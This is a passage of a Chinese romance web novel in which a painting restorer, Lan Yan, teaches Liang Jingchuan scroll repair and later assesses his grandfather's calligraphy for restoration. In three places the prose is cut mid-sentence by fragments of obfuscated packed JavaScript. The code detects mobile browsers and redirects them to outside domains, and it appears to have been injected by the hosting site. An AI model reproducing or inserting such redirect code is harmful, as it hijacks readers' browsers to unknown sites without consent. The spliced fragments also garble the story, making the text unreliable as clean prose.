梁净川让那轮月牙印在自己眼睛里,低“嗯”了一声,“不好把握,一用力就搓多了。” “手指的轻重力道要训练一段时间才会形成肌肉记忆……”蓝烟在工具包里翻找了一下,那里面配了一柄23号刀片的手术刀。 她拿起来,调转方向,刀头朝自己递给他,“你用这个刮着试一下。” 梁净川接过手术刀。 手指修长,骨节分明,是很漂亮的一双手。蓝烟目光停顿一秒,移到他手指轻轻压住的补纸上。 刀片倾斜,正要试刮,蓝烟说:“等下。” 工具没有配喷壶,她拿起小号排笔,蘸水,在玻璃碗边缘轻搭片刻,控一控水,拿到画心上方,让水均匀流下去,使画心背面更湿润。 梁净川转头,以表情询问,可以了? 蓝烟点头。 刀片轻刮纸张,是另种触感,仍是需要全神贯注的精细操作。 蓝烟掌撑桌沿,挨着他,低头细看。 白色衬衫衣袖挽起,褶皱堆拢于肘部,轻擦过蓝烟的手臂。 明明是正常体温,却有高热的错觉,隔着衣料也能向他的皮肤传导。 距离近到梁净川脑中警报频响。 认识逾十年,同个屋檐下生活一年,蓝烟用立场在他们之间划出壁垒森严的两个战壕,他习惯枪-林弹-雨,不习惯这样近距离的并肩。 动作停了下来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538239|186066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 数秒,蓝烟问他:“怎么了?” 梁净川微笑:“不会做。示范一下?” 蓝烟示意梁净川往旁边挪半步,自己走到他方才的位置,弯腰,低下头去,指腹轻搓搭口片刻,动作稍顿,转头抬眼,“你离那么远能看清楚吗?” 梁净川一顿,也将头低了下来。 脑袋只差寸许就挨在一起,气息呼出,几乎能拂动她额前垂下的发丝。 她应该不久前洗过头发,身上也没有贴膏药,能清楚闻到,她发上洁净浅淡的香气。 梁净川呼吸放缓,以比平日更冷静的语气问道:“你们是用手搓,还是手术刀刮。” “都有,看情况。” “指纹会被搓掉吗?” “我师傅的指纹,反正有点录不上了,我的……”她手掌一翻,掌心朝上,伸出食指,“好像有点浅。” “看看。” 话音落下的一瞬,梁净川倏地伸手,从下方搭住了她的手腕,往上轻轻一托。 食指离他眼睛更近。 蓝烟一愣,须臾之后,感知到了强烈的不自在。 她将视线移到梁净川脸上。 他正仔细观察她的指尖,表情专注——应当只是单纯的好奇,因为从动机和立场,都不能得出“故意”的结论。 蓝烟受不了这份不自在,正要将手收回,他松开了,平声说:“是要浅一点。” 蓝烟“嗯”了声,低下头去,继续示范。 沙发那一区的吵嚷,似乎隔了一道屏障,没有传递到此处。 脑袋旁边,梁净川平静的呼吸声好像变得比方才清晰。 蓝烟拿手指将搭口搓出一段斜坡,往旁边让了半步,抱住手臂,不作声色地拿手掌摸了摸手腕处,抹去留存的存在感,平静地问:“会了吗?” “我试试。” 梁净川重新拿起手术刀,从她做的那一处斜坡的旁边入手,一点一点刮出同样的斜度。 低着头,全神贯注,侍画如侍疾,细致而耐心。 蓝烟一直知道梁净川是个刻苦专注的人,他聪明,但未到天才的程度。四中是南城生源最好的公立高中,一颗粉笔头投出去,砸中的那个学生,是天才的可能性十之八-九。这样的环境里,非天才除了努力别无出路。 有两回早起去画室赶作业,在清晨六点半的公交站台碰到梁净川。 他手里拿着金属环扣的单词本,等车的间隙,仍在默背单词。有车经过,他抬头望一眼,直到去往四中的那一趟开过来,他才将单词本揣进黑色羽绒服的口袋里。 此刻,对他的专注有了更直观的感受。 文物修复这专业,读的人少,能坚持的更少。 她竟然不得不承认,她最讨厌的人,居然有从事这一行的素质。 蓝烟许久没作声。 梁净川声音低低地传过来,“蓝烟老师怎么不继续指导了?”带一点懒散的尾音。 这称呼一秒钟将蓝烟惹毛,“上次那杯茶不是把你毒哑了吗。” 梁净川立即换了更认真的口吻,虚心请教:“那应该怎么称呼?学姐?师姐?” “看到那把马蹄刀没有。” 梁净川点头。 “我用得非常顺手,吹毛断发。”威胁口吻。 他抬起头来,目光望定她,眼里笑意很深,“好怕。” 8.chapter08 为兴趣者设计的体验文创产品,难度只是入门级别。 画心上统共就一个大的缺口,没多久就补完了。 梁净川请蓝烟检查。 她手指挨上去,摸一摸搭口的厚度,“蛮好的。” “真的?”梁净川看她。 “有骗你的必要吗,又不是要诱拐高三生填报志愿。” 诱拐。 梁净川没出声地重复一遍这个词,勾了一下唇,又说,“下一步是……” “托新命纸。” 蓝烟把一旁的材料包拖过来,翻找的时候,有人走到了对面。 梁净川抬头。 陈泊禹手掌撑在桌沿上,笑说:“怎么你俩躲这里来了。” 梁净川默了一秒,才说:“挺好玩的,你可以试试。” 陈泊禹笑说:“试过。我手残,玩不来这个。” 梁净川抬眼:“什么时候?” 陈泊禹:“就以前啊,去裱房找烟烟玩。” 这时,从厨房里走出来一个人,笑说菜可以上桌了,可能得将餐桌腾出来了。 陈泊禹请了自己爱去的一家餐厅的主厨上门外烩,厨房里都是主厨团队的人。 陈泊禹点点头,问梁净川:“修完了吗?” 梁净川淡淡地答:“没。” 蓝烟看了看梁净川,说道:“等五分钟。命纸换完就差不多了。” 陈泊禹说“行”,转身往厨房走,“我去看看菜。” 这个盲盒里装的是南宋吴炳的绢本设色《出水芙蓉图》的仿制件,尺寸不大,30厘米左右,操作起来不费时间。 工具包里配有糨糊,肯定不如蓝烟她们自己捣出来的好,不过体验的是过程,勉强能用。 蓝烟把糨糊倒在碗里,加入清水调成糨水,拿一张干毛巾,将修复过的画心背面的多余水分吸去,拿起排笔,蘸取糨水刷在背面。 操作了两下,把排笔递给梁净川:“你来。” 梁净川拿上排笔,如蓝烟演示那般左后折返刷了两下,“这样?” “嗯。” 糨水刷完了两遍,蓝烟拿过托画心的单宣纸,覆在画心后面,取鬃刷上纸,“从中间开始,米字型地往外面刷,不要太用力……” 蓝烟一边操作一边讲解要点,仍是刷了几下,便把剩余的交给梁净川。 他不熟练,但胆大细心,所以上手很快。 鬃刷刷过纸面,轻微的沙沙声。 梁净川的声音混在里面,不甚清晰:“陈泊禹常去?” 蓝烟分辨了一下,才听清楚他的话,“嗯?” “你工作的地方。” “以前。” 蓝烟稍觉怪异。 她与梁净川之间剑拔弩张的程度,虽说是随着她年龄的增长,而有所递减,但经过前一阵夜宵事件,也勉勉强强只到“人不犯我,我不犯人”的状态,离和平相处还差得远,更不要提“兄友妹恭”——这个词仅仅是想一想,就让她起一身鸡皮疙瘩。 这种状态下,梁净川陡然问这句话,显得非常奇怪……不至于会冒犯她,只是奇怪,因为搞不懂他发问的动机。 他可能只是顺着陈泊禹的话随口一提,她也不好特意问他的用意,显得有点郑重其事。 梁净川也没再作声。 命纸上完,蓝烟接过鬃刷,最后做了一点调整。 盲盒里没有配全色工具,这对于新手而言太过进阶,没必要。 “差不多了。”蓝烟环视一圈,试图找个能上墙晾晒的地方。 “我带回去。”梁净川说。 蓝烟看他,“这是打印的画,没什么收藏价值。” “我知道。”梁净川也看她一眼,“需要晾在什么地方?” 蓝烟思索,“木板门吧。四边多余的部分刷点糨糊水,不要暴晒,保持通风,晾干了揭下来就行。” 梁净川点头。 蓝烟便把整张修好的画,连同正面隔离用的潮湿皮纸一起卷起来,“找张保鲜膜过来。” 脚步声去往厨房,片刻回来。 可切割的保鲜膜,梁净川拉出一段比了比,留出合适长度切下来。 保鲜膜裹好,蓝烟把画放回印有市博与缮兰斋LOGO的包装盒里。 “工具还要吗?”蓝烟问。 梁净川瞥一眼,“留着吧。” 都要清洗,蓝烟便把用过的排刷、毛笔、鬃刷等,放进装着清水的大号玻璃碗中。 正要端起来,被梁净川接了过去,“我来。” 蓝烟没争,把剩余的针锥、镊子、手术刀、马蹄刀等危险用具,一并装入一个独立的工具袋里,最后剩下一个空的大号自封袋,可用来装清洗过的其他工具。 蓝烟把东西挪到了餐边柜上,将餐桌清空,随后去洗手。 岛台水槽和厨房水槽,都被主厨团队占领。 陈泊禹的公寓是顶层复式,下面一层常用来招待朋友,或者召开临时会议,为了方便,客卫的外面还设置了一个双台盆的洗手台。 梁净川正在那里清洗工具。 脚步声靠近,他瞥去一眼。 蓝烟上抬水龙头,把手伸到下方。 梁净川目光停留在她手指上。 问过梁晓夏,给他取这个名字,是不是因为他八字缺水,梁晓夏不很正经地回答,对啊对啊,所以你名字里全是水。 那为什么独独只有他不能流经她,就像其他所有的水一样。 “盯着我干嘛。”蓝烟出声,不是很友善的语气,“今天又没让你排队。” 没有吗。 梁净川收回目光,压低的眼睛里带一点很浅的笑。 清理完,回到餐厅,厨师团队已开始上菜,大家陆续落座。 有陈泊禹的饭桌一向热闹,从学生时代起,他的身边就很容易聚集起一群意气相投的朋友。 这里面没什么刻意的经营,和他的钞能力关系也不大,有的人就是有这样的能力。可能也算一种天赋,否则如罗珊这样的高材生,何至于能被说动,加入一个草创团队。 吃完饭,再切蛋糕,过去许愿这一环陈泊禹总是吊儿郎当,今天却难得认真。 蛋糕吃完,牌局、桌游这些娱乐活动也都组织起来。 有朋友有急事要先走,想跟陈泊禹打声招呼,不见了他的人影,就叫蓝烟帮忙转告一声。 蓝烟找了找,在玻璃门阻隔的露台上看见了陈泊禹。 她推开玻璃门,陈泊禹正在打电话,听见了动静,回过头看了一眼。 她无意打扰,准备撤回去,陈泊禹却向她走过来。 电话没挂断,听见他跟对面说:“……最近忙,大哥回美国我就不送了,你帮我传达吧,祝他跟大嫂一切顺利……没赌气,没这个必要……真用不着他帮忙,您别跟他说了……好了好了,您跟爸也保重吧,按时吃饭……好,我挂了。” 他锁定手机,在她面前停住脚步。 蓝烟问:“你妈妈打来的?” “嗯。” “其实,即便不用你大哥投资,他的人脉也还是可以用一下的。他应该不会拒绝。” 陈泊禹苦笑了一下,“上回我跟你说,目的达成就行,情绪不重要,这句话是错的,我跟你道歉。” 蓝烟摇摇头,表示她没那么在意。 “我现在就是情绪上过不了这一关……我当然知道,靠我大哥的人脉,事半功倍,但就想先自己试试。你能理解吗?” “能呀。”蓝烟玩笑道,“迟来的青春期嘛。” 陈泊禹也笑了一下。 露台灯没有开,远眺是一线江景,潮热的夜风吹过来,蓝烟顺着风来的方向望去。 陈泊禹看着她,半晌,把手机揣进长裤口袋里,对蓝烟伸出手,问道:“跳舞吗?” “这里?” “嗯。” “没音乐啊。” “我哼?” 陈泊禹捉住蓝烟的手,把她拽过来。 两个人第一次出去约会,吃的那家餐厅在南城开了超过20年了,老板是邓丽君的歌迷,餐厅里常年放邓丽君的歌曲。 有个瞬间他们没有聊天,听见音响里播的是《忘记他》。 此刻,陈泊禹便哼起了那首歌的曲调,两个人没什么章法地迈步,蓝烟三次踩到他的脚。 都笑起来。 陈泊禹停止哼歌,上前一步,把蓝烟搂进怀里,低声说,“知道我许了什么愿吗?” “嗯?” “有一天,我要带你去纳斯达克敲钟。” 蓝烟笑了笑,“美股IPO,还是蛮难的。” 她没有说,她其实一直不很喜欢“带你做什么事”这个措辞。 “许愿当然要许个大的。”陈泊禹笑说。 / “有人看见陈泊禹了吗?”客厅里忽有人高声问。 “不知道。是不是去楼上了?” “送人出去了吧。” 唯一看见了陈泊禹在哪里的人,此刻背靠着吧台喝水,没有作声。 冰水从喉管滑落,直坠心脏深处。 明明不看,就不必自我折磨,还是无法从那张言笑晏晏的脸上移开视线。 两年前的今天,梁净川回了一趟南城。 延毕,他的毕业设计要从中前期开始,全部推翻重来,那个暑假几乎天天泡在实验室里,睁眼是自己的毕设,闭眼是老板的活。 等回神时,假期都要结束了。 回来刚好赶上陈泊禹生日。 陈泊禹说要请客,并说,他喜欢的女生,终于在他生日的前三天答应做他女朋友了。 问是谁,陈泊禹卖了个关子,说到时候就知道。 吃饭的地点,在老城区极有民国情调的一条小街上。 不巧出门开始下雨,碰上晚高峰,路上堵得一塌糊涂。在红绿灯路口,他下了车,步行一百米去往餐厅。 雨不算太大,他走到廊下,正将门推开,身后传来小跑而至的脚步声。 他循声回头,目光捕捉到一张薄雪清霜一样的脸。 他难掩惊讶:“蓝烟?” 蓝烟闻声抬眼,顿住脚步,没有应他的招呼,却好像对他出现在这里,并不感到意外。 这时,他才留意到蓝烟头上顶了一件男式的西装外套。 他心里咯噔了一下,某种糟糕预感陡然而生。 疑问还没来得及形成语言,他余光瞥见了另一道熟悉的身影,从雨中疾步走来。 在对面停好车的陈泊禹挤入了并不宽敞的廊下,吐槽一句“这天气”,继而看向他,笑说:“你也刚到?” 下一瞬,自然地挽住了本和他面对面站着的女孩的手腕,把她往后牵了牵,牵到自己身侧,像是划分出泾渭分明的两个阵营:“一直不好意思跟你开口……我跟蓝烟在一起了。” 预感应验得如此迅速。 时至今日,他都无法完整回忆,那顿饭是怎么吃完的。 其实,陈泊禹不是蓝烟的第一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543393|186066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男朋友,前提是,她之前谈过的那两个,称得上是男朋友。 一次高中,一次大学,她的身边出现了形影不离的生面孔,然而不到四周就消失了,连通常所谓的三个月热恋期都没撑过。 而跟陈泊禹,她谈了两年,甚至从大半年前开始,尝试接触他的家人,似在为下一步做准备。即便这一步不很顺利,且暂时中断,但也证明了,陈泊禹在她这里,重要程度不同旁人。 他和陈泊禹十多年的朋友,当然清楚这个人大多数时候很招人喜欢,就像此刻。 作为旁观者,无法获知他们交往的全貌,但从一鳞半爪之间,也能知道,陈泊禹非常擅长这样无预期的惊喜,突然的阳台起舞、凌晨两点的便利店约会、心血来潮的红眼航班空降…… 人总是趋利避害,若非人格残缺,不会自讨苦吃,所以,即便偶有矛盾,蓝烟在这段关系里,一定是不乏快乐的。 他想要做的事,岂止自不量力。 / 褚兰荪从北城回来了。 缮兰斋人人都把尾巴夹紧了三分,虽然其实褚老师并不严厉,甚至称得上是和蔼。 但他笑眯眯地说出“帘纹对上了吗,再仔细看看”时,其杀伤力也并不逊于严词训诫。 周文述总结,工作室唯一不怕师傅的,可能就只有大师姐薛梦秋和二师姐蓝烟了,两位师姐性格迥异,有一点却是一样的:技术硬得能劈开地球。 跟着褚兰荪回来的,还有两幅烂如吃剩酥皮点心的绢本。 褚老师当场考教功课,让新来的这批实习生,和去年刚入职的新人,现场答辩修复方案。 两位师姐瞥了一眼就走了。 新人抓耳挠腮,对自己给出的答案缺乏自信,时不时看向各自投入工作的两位师姐,像是盯着两本参考答案。 功课考教到一半,负责客户接待的蓉姐走进来,说来了位客户,想修个镜片。 褚兰荪扶一扶老花眼镜:“多大的镜片?” “不大,两尺斗方。” “哦,那小苏先去瞧瞧吧。” 新人队伍里,一位年轻女孩点了点头,正欲走出来,蓉姐说:“他说是蓝烟的熟人,如果蓝烟有档期亲自帮忙修是最好的。” 褚兰荪笑说:“得,肯定是抖音粉丝,见偶像来了。” 如今这个时代,越小众越传统的行当,越不能故步自封、曲高和寡。 缮兰斋起步晚,也谨慎,但还是拥抱了时代的浪潮,在抖音、小红书、B站等各大平台都注册了账号,除了书画修复的知识科普、流程记录这些严肃内容,也会发布工作室的轻松日常。 账号是00后的小朋友在经营,年轻人网感好,不过一年时间,经营得有声有色,还被省里管文博宣传那一块的部门重点点名表扬过。 这里面周文述和大师姐薛梦秋,两人出镜最多,他俩都是E人,凑一起修个画,也能变成对口相声。 蓝烟的人气也很高,长得极漂亮,业务能力又出类拔萃,哪怕鲜少主动面对镜头,且大部分时间都只顾闷头工作,面无表情,也架不住观众在视频画面的边边角角里抠她的出勤率。 褚兰荪所说的这种粉丝见偶像的事,发生过不止一次,常有人借修画之名,醉翁别意。 蓉姐自觉充当过滤器,会面之后先报个区间价位,不是真有所需,基本也就被劝退了。 蓉姐说:“对方确实是要修,但是不是专门冲着人来的,那就不好说了。” 蓝烟不好让蓉姐为难,放下手里东西,对蓉姐说:“我去看看。” 整栋小楼都归缮兰斋所有,一楼是接待区、预处理区和展示区,二楼是裱房,三楼则是办公室、研究室和档案室。 蓝烟跟在蓉姐身后,从二楼下来,穿过走廊,朝设于前台左手边的接待室走去。 门开着,里面传出清淡的线香味。 沙发椅和茶几居中设置,后方墙壁悬挂工作室介绍、修复师资质、装裱样式参考、绫绢样本、修复流程说明图等内容。 一个男人正立在墙边,似正在研究工作室成员简介。 他身上着白色衬衫和黑色西裤,一手抄在长裤口袋里,站得不甚板正,却有种书法里的逆势藏锋的气韵,黑白分明地与今日青灰的天色区分开来。 很眼熟的背影,蓝烟一眼认出来,正要出声,男人似有所觉,倏然回身,微微一笑:“整理旧物,发现一个旧镜片,想麻烦你看看,还有没有救。” “……你是来耍我的吗?”蓝烟无语。 梁净川笑,“我敢吗?” “说得这么无辜,好像你没有一样。” “真没有。你仔细想想,我主动耍过你吗?” “……” 好像确实没有。每次都是她挑衅在先。 一旁蓉姐摸不清楚蓝烟跟这人是什么关系,一来一往火药味十足,听起来跟分了手但余情未了的前任情侣一样。但她不敢妄自揣测,只笑说:“蓝烟你先接待一下,我去拿几张表。” 蓝烟点头。 工作归工作,她问:“东西带过来了吗?” 梁净川向着茶几那儿扬了扬下巴。 镜片搁在茶几上,蓝烟走过去瞧了瞧,玻璃稍有松脱,但应当不打紧。 她扶住镜片,正要搬起来,梁净川两步走了过来,说:“我来。” “没事,我……” 梁净川声调很轻:“玻璃松了,别弄伤你的手。” 轻微异样感如轻絮拂过心脏,要细究已无处可循。 9.chapter09 蓝烟没再坚持,退后一步给梁净川让出空间,自己则朝着接待室相连的预处理室走去。 压下把手将门打开,蓝烟顿步,回头对梁净川说:“这边。” 梁净川点头跟了过来。 蓝烟把桌台上散落的东西搁到一边去,腾出足够空间:“放在桌上就行。” 来之前,镜片表面应当是做了清洁,没什么灰尘。 “我把画框先拆下来检查一下。”蓝烟正要伸手。 梁净川先一步端起镜片,将其翻到背面。 蓝烟动作一顿,“你把我的事都做了,钱也不会少收你一分。” “还没出师,没这个本事。” “……” 梁净川笑笑,退后一步,那姿态表示后续就托付给她了。 背板卡扣稍有锈蚀,但都还算完整。拨动卡扣,拆下背板,再小心地取出画心,翻回正面。 霉迹点点的宣纸上,数只淡褐书虱正四散逃逸。 蓝烟毫不在意,将画心整体观察一遍,问道:“着急要吗?” “能修?” “能。不过我现在还在修上个客户的画,可能还要一两周左右,你着急的话,我让我同事……” “不急。” “他们的技术也都很好,不用担心。” “知道。”梁净川微笑,“不过我不急。” 蓝烟默了一瞬,点头,“我先做个评估。如果你赶时间,可以先去忙自己的事,晚点我们会出评估表和报价,你有空再过来签个知情书,支付一部分定金就行——如果没空也能线上操作。” 门口传来脚步声。 蓝烟抬眼看去,是蓉姐端着托盘进来了。 蓉姐笑说:“梁先生去外面休息一会儿,喝点茶?” 预处理室也有桌椅,梁净川随手指了指,“麻烦就放在这儿吧。” 有部分客户对藏品的状况特别关心,“体检”也会全程参与,蓉姐见怪不怪,放下托盘就出去了。 蓝烟看了看梁净川,大约不赶时间,他没有要走的意思。 基本告知义务已经完成,她转身去一旁抽屉里,取出一张评估表,夹在文件板里,走回到桌前。 低头凑近画心,仔细辨认。 书法作品,加盖朱印小章,落款是“梁高义”。 “……是你姥爷?”蓝烟依稀记得,但不肯定。 “是。” 梁净川随母姓。 蓝烟对梁净川和梁晓夏一直有排斥心理,纵有好奇也没问过,但十多年相处,总归会听梁晓夏跟蓝骏文聊起过往。 梁晓夏跟梁净川的生父离婚很早,大约在梁净川七八岁左右就离了,没什么狗血原因,纯是两人感情已尽。孩子男方没要,梁晓夏自己抚养,就去派出所改了姓。 之后梁父因工作调动去了别的城市,再婚,婚后又育一子,为带孙子,梁父的父母也都举家搬离南城。 多年不来往,父亲那一脉的亲戚,在梁净川这儿只剩个概念。 自然,梁净川与母亲这边的亲戚更亲近。 梁净川姥姥还在世,如今同他的舅舅生活在温哥华,上年纪以后,身体条件不允许长途奔波,因此多年没回过国了。隔个一两年,梁净川会同梁晓夏出国探望。 而梁净川的姥爷,去世于他读大二的那一年。 蓝烟与梁净川“敌对”关系第一次有所缓解,就是因为这件事。 梁净川同梁晓夏奔丧,蓝烟与父亲自得同去吊唁。 灵堂肃穆,男生穿一身黑,戴白色臂章,站在梁晓夏身旁,向吊唁者鞠躬致谢。 苍白的一张脸,没有表情,眼睛低垂,情绪也一概隐匿,像一张失焦的黑白照片。 蓝烟想到当年,自己送别妈妈也是同样情景。 此后,没了那些明显恶意的针对,但讨厌的心情不减反增:她讨厌他、他们,让她的讨厌渐渐失去了正当性。 蓝烟垂眸说道:“水平很不错。” 既然是亲人遗物,自然是交托到认识的人手里更放心,梁净川执意要她亲自来修的动机,也就不难理解了。 梁净川“嗯”了一声,说:“他年轻时练过。” 蓝烟打开抽屉,拿出一支干毛笔,轻扫画心表面,除去浮尘。 顿一下,她转头对梁净川说:“有灰,你站远一点。” “没事。”梁净川不挪位,“不戴口罩吗?” “不用。”蓝烟一边做基础的物理清洁,一边问,“修好以后,继续做镜片,还是……” “做挂轴吧。” “想怎么装裱?” “你决定。” 蓝烟点头,不再作声。 初步除尘之后,放下毛笔,开始对画心各处做最细致的病害评估。 缮兰斋所在的这条路上,很多老房子都被划为了文保建筑,沿街俱是三十年树龄的高大乔木,又因是单行道,车行寥寥,楼里阒静极了。 全神贯注的蓝烟,几乎要成为这寂静的一部分。 梁净川目光落在她身上,无所顾忌地凝视她的手、手腕……鼻梁、鸦羽似的睫毛、 透光而薄红的耳朵……再回到她的手上。 有处污迹看不清楚,得挪个位置,蓝烟后退一步,没往回看,未防手肘撞上了站在侧后方的人。 回头,看见梁净川眼里似有灰绿天光轻晃,视线相及一瞬,他立即敛目,低声说句“抱歉”,往旁边让了让。 她撞到人,他道歉,真是奇怪。 片刻,蓝烟放下手里的东西,取来一支棉签,蘸清水浸湿,在墨迹上轻蹭,检查是否掉色。 填写完评估表,最后总体确认一遍,将表从夹板里抽出来,递给梁净川。 梁净川接过,低头看去。 表头是“纸质送修件病害分类表”,列有基本信息和病害情况,病害分为“纸张病害”和“写印色料病害”两大类,大类之下,又细分“水渍”、“污渍”、“褶皱”……“脱落”、“晕色”等。 他扫过一眼,便递还给了蓝烟。 蓝烟向着门口喊道:“蓉姐,我这边评估做完了,麻烦你过来做一下报价。” 蓉姐在外头应声,说马上就来。 梁净川问:“你们是按评估表收费?” 蓝烟点头。 “我以为是依照作品本身的价值。” “我之前跟师傅一起修过一幅画,在佳士得拍了一个亿,如果这样收费的话,做一单就可以歇业了。”蓝烟认真解释,“古迹重装如病延医,医院并不会因为病人是亿万富翁就多收钱,我们也是一样,只根据病症和治疗方法收费。” 梁净川点头,“不遇良工,宁存故物。” 蓝烟微愕。 “古迹重装如病延医”和“不遇良工,宁存故物”,都出自明代周嘉胄的《装潢志》,这是本针对中国古代装潢经验和文化的总结性专著。 梁净川微笑,“看了一点纪录片。” “……还真打算半路改行啊。” 梁净川把头微微低了一下,目光定在她脸上,仿佛认真请教:“还来得及吗?” 蓝烟有些费解,不是很能准确判断,他是不是开玩笑。 “工作室不定期办体验班,你真有兴趣可以过来体验。”蓝烟最终这样回答。这一行本就小众,不必把任何潜在爱好者驱之门外。 “好。开课提醒我。”他语气听来很认真。 蓝烟瞥一眼梁净川,欲言又止。 第一次意识到,自己看不透这个人。 门外传来“笃笃笃”的脚步声。 蓉姐拿着几张表走了进来,冲梁净川笑说:“我来算个报价,您稍等。” 梁净川点头。 蓝烟收拾桌面,不再说话。 蓉姐没一会儿就填完了报价单,递与梁净川,要逐项解释时,梁净川已将目光移到最后一行,问:“在这儿签字?” “是的。”爽利的客户谁不喜欢,蓉姐笑不见眼,“对修复有什么要求,您可以跟蓝烟沟通,在正式开始修复之前,我们还会出一个修复方案。后续过程中,如果有什么补充的要求,也可以随时沟通。您可以加我一个微信。” 梁净川接过签字笔,刷刷签完名,扫了蓉姐递过来的二维码,又问:“沟通是经过你,还是直接跟蓝烟?” 蓉姐越发肯定这俩是前情侣关系,都是“熟人”了难道没加微信好友,还要多此一问。只是不知道陈少爷知不知道自己女朋友的前男友已经杀上门了。 蓉姐笑说:“找我也可以,直接找蓝烟也可以。如果是修复细节方面的沟通,那肯定是直接找她更高效。稍后我拉个群。” 梁净川点头:“麻烦了。” “那麻烦梁先生跟我去前台支付一下定金吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548642|186066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 两人离开了预处理室。 这里只能做简单的物理清理,后续所有环节都得拿到楼上裱房去,蓝烟把画心卷起来,给台面上残留的镜片框架拍了个照,发到群里,通知人来收拾。 走出去,前台那儿,梁净川正在POS机吐出的单据上签字。 蓝烟停住脚步,“画我拿去裱房登记,开工的时候会通知你。” 梁净川闻声转头,点了点头,“那就麻烦了。” ……客气得简直不像是从梁净川嘴里说出来的话。 / 手头的这幅送修件,蓝烟做完全色处理,便开始装裱工作。 客户验收完毕,已是十天之后。 褚兰荪带回来的那两幅绢本,修复任务分配给了蓝烟和薛梦秋。 蓝烟绢本修得不多,这物件又跟碎渣一样,修起来没两个月拿不下来。 梁净川送来的那副字难度不大,蓝烟准备先把他的修完了,再专心啃难啃的骨头。 出了修复方案发在群里,梁净川确认过后,蓝烟便准备动工。 起个大早,抵达缮兰斋时,裱房里空无一人。 蓝烟习惯提前到,可以在不受打扰的状态下,从容不迫地做准备工作。 把裱桌擦干净,去库房里找出那副字。 墨迹稍有脱色,清洗之前,得先用矾胶水做固色处理。 冰箱里有周文述前天调配好的矾胶水,蓝烟取了一些,装在小碟子里,待其恢复到室温状态。 这时,搁在一旁凳子的手机振动一下。 蓝烟拿起来一看,是梁净川发来了消息。 没在群里,单发给她的。 【ljc:开工了吗?】 【blueblue:嗯。】 【ljc:你们裱房允许参观吗?】 【ljc:不是监工的意思。这幅字对我很重要,想见证它被修复的过程。】 如果是别人,蓝烟还能糊弄,但梁净川那天特意问了陈泊禹是不是常来。 【blueblue:来的时候提前说一声。需要做个访客登记。】 【ljc:好。】 梁净川没来。 第一天固了色,做了除霉和清洗,揭了命纸。 第二天开始染纸、补洞。 一直到第四天。 临近中午,大家都把手头工作做了保存,陆陆续续下楼去吃饭。 附近小餐馆多,也能点外卖,但外卖必须统一在一楼的休息室里吃,任何食品和饮料都不允许带入二楼裱房。 蓝烟固定的吃饭搭子是周文述和薛梦秋。 三人一同出门,吃完饭回到小楼,前台小悦招招手,“蓝烟师姐,你过来下。” 周文述和薛梦秋便率先上楼去了。 蓝烟走到前台,问小悦什么事。 小悦:“有人给你送了一盒点心,我帮你放休息室了。” 蓝烟:“陈泊禹?” “不是呢。是你的客户。” “哪个客户?” 小悦笑嘻嘻道:“最帅的那个啊。” “……”蓝烟看了眼手机上的时间,“什么时候来的。” “就刚刚。” “他去裱房参观了?” 小悦摇头,“没呢。东西给我就走了,叫我单独转交给你。好像是冰皮的,让你及时吃,不然化了,吃不完的可以分给同事。” 蓝烟默立一刹,往休息室走去。 休息室里放了长条桌,方便大家用餐。 蓝烟走过去,那上面有一个礼盒,小巧精致,打开盖子,隔油纸上一张小小卡片,手写的四个字:顺颂秋祺。 没落款,但她认识是谁的字,摊在餐桌上的物理试卷,签字的燃气检修单,不想面对面交流又不得不传达家长意志时,贴在冰箱上的便利贴…… 都是这个字迹。 和梁净川相处,蓝烟通常只会选择外耗他,绝不内耗自己。 她拿出手机,打开微信。 【blueblue:你直说吧。是不是想借钱?】 【blueblue:帮朋友卖保险?拉银行存款?】 【blueblue:发展传-销下线?】 等了数秒,那边回来消息。 【ljc:……】 【ljc:我妈叫我带给你的。】 10.chapter10 幸好梁净川不在跟前,不然看见她吃瘪,不知道他的气焰会有多嚣张。 【blueblue:……微信上提前打声招呼,会浪费你很多时间吗。】 【ljc:车不能久停。】 【blueblue:那现在怎么又能发了。】 【ljc:等红灯。】 几乎能脑补他此刻的表情,看似淡漠的眼睛里却难掩促狭。 蓝烟不再理他,给点心拍了张照,发进四人的家庭群里,@梁晓夏道谢。 梁晓夏很快回复:快吃快吃,化了口感不好,那个芒果口味的是最好吃的。 刚吃过饭,一人吃不下,蓝烟便把芒果味的挑了出来,剩余的分给了周文述、薛梦秋和小悦。 此后几天,梁净川说是要来参观,始终没来。 工作室的要求,除了每个修复日结束都要拍照留存之外,洗揭补全的每一个大的流程完成,都要让客户进行节点验收。 梁净川的那幅字,修补的工作已经完成。 蓝烟拍照发在群里,@了梁净川。 【blueblue:修补已经完成。确认没问题就继续接笔全色了。】 【blueblue:你送修的是书法作品,如果对笔意要求比较高,我会请更擅长书法的同事来帮忙接笔。】 